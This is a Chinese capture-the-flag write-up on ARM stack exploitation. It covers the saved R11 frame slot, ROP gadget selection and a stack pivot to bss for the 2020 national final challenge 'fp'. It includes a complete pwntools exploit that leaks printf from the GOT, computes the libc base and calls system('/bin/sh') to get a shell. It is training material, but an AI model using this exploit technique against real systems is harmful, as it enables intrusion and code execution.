1.ida识别栈

注意:ida识别栈空间时

例如这种,并不说arm栈上不存在esp

在函数开始被调用时,arm的栈结构中会将R11寄存器中的值push{R11}入栈

函数结束时会pop{R11,PC}出栈并返回返回地址

一次buf的范围为0x100

所以在buf与bl(s)也就是返回地址中间还存在一个类似于ebp的值

2.pop链与gadget

1.从elf文件中

ARMpwn中的gadget并没有想象的和linux pwn一样那么多

我们有时需要手撕,

例如使用工具Ropgadget 我们获取了

0x00010348 : pop {r3, pc} 
0x00010498 : pop {r4, pc}

只是没有办法直接去直接获取libc或者getshell的

我们知道arm中传参是用寄存器传参,我们一般常用有R0-R4 常用的那几个函数够用了

若程序中存在 puts 或者printf 函数,且其传入参数的汇编中有类似于:

MOV R0 , R3;

MOV R0 , R4;

这样的,我们就可以构造一个pop链来输出我们想要的东西

例如:

payload = p32(pop_r3_pc) + p32(elf.got['puts']) + p32(mov_r0_r3)

2.从libc中

我们可以在获取libc基地址后从libc中获取我们所需要的libc

打远程的话就用远程的libc,本地的话就用本地的即可

例题:2020国赛决赛 fp (其实是一个栈迁移)

我们没有找到合适的gadget来进行构造pop链

0x00010348 : pop {r3, pc} 
0x00010498 : pop {r4, pc}

但在程序中我们发现了

MOV R0 , R3;

MOV R0 , R4;

之后是调用printf

我们可以根据此来构造pop链

payload = 'a' * 0x100 + p32(bss+0x400) + p32(p_r3_p) +p32(elf.got['printf']) + p32(m_r0_r3)

但在覆盖R11 时出现了点问题:


如果我们将R11(也就是ebp)像linux那样覆盖为0,会导致

1.第一个箭头处 第二次read的时候我们输入数据的位置会变为一个不存在的地址

2.在第二个箭头处,我们会将sp(esp)指向一个无法访问的内存,从而导致报错


因此我们要在某一个我们可控的内存出设置一个fake stack

所以我们可以将它们设置为一个空闲的我们可以控制的内存---》即bss段,且尽量靠后,以防影响到其他数据

这样我们可以:

1.将数据写入bss不影响其他数据

2.使得sp指向可以访问的地方

3.我们可以在第二次输入的时候构造payload,根据汇编我们要在栈上输入数据使得可以通过

来返回到system函数,进而getshell

.text:000104FC                 SUB             SP, R11, #4
.text:00010500                 POP             {R11,PC}

对这二条汇编进行解释:

1.SUB             SP, R11, #4 

是指:R11中的值-4后赋值给SP(esp),本意是程序为了释放栈空间,将SP(esp)跳转到SP(esp)的前面

但是我们就会用他将SP指向我们伪造的栈结构里面的fake R11

2.POP             {R11,PC}

是指将下面两个存储单元的值pop 进入R11,PC寄存器,本意是为了恢复进上一个函数的栈空间并跳回返回地址

但是我们可以在上一条汇编的基础上,将我们伪造的R11 (当然这里也有限制)pop 进入 R11,并将我们写好的shellcode(pop 链去执行)

进而拿到shell

附上exp:

p_r3_p = 0x00010348

m_r0_r3 = 0x00104D8

#debug1("b *0x00104f4")

#获取libc

p.recvuntil('input: ')

bss = elf.bss()

payload = 'a' * 0x100 + p32(bss+0x400) + p32(p_r3_p) + p32(elf.got['printf']) + p32(m_r0_r3)

p.sendline(payload)

p.recvuntil('')

libc_base = u32(p.recv(4).ljust(4,'\x00')) - libc.symbols['printf']

ls('libc_base',libc_base)

#从libc中寻找gadget去获取pop r0 pc

#0x00056b7c : pop {r0, r4, pc}

p_r0_pc =  libc_base + 0x00056b7c

sys_bin = libc_base + libc.search('/bin/sh\x00').next()

sys_addr =libc_base + libc.symbols['system']

#getshell

payload2 = 'a' *0x100 + p32(bss+0x20) + p32(p_r0_pc) + p32(sys_bin) + p32(0) + p32(sys_addr)

p.sendline(payload2)

p.interactive()

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。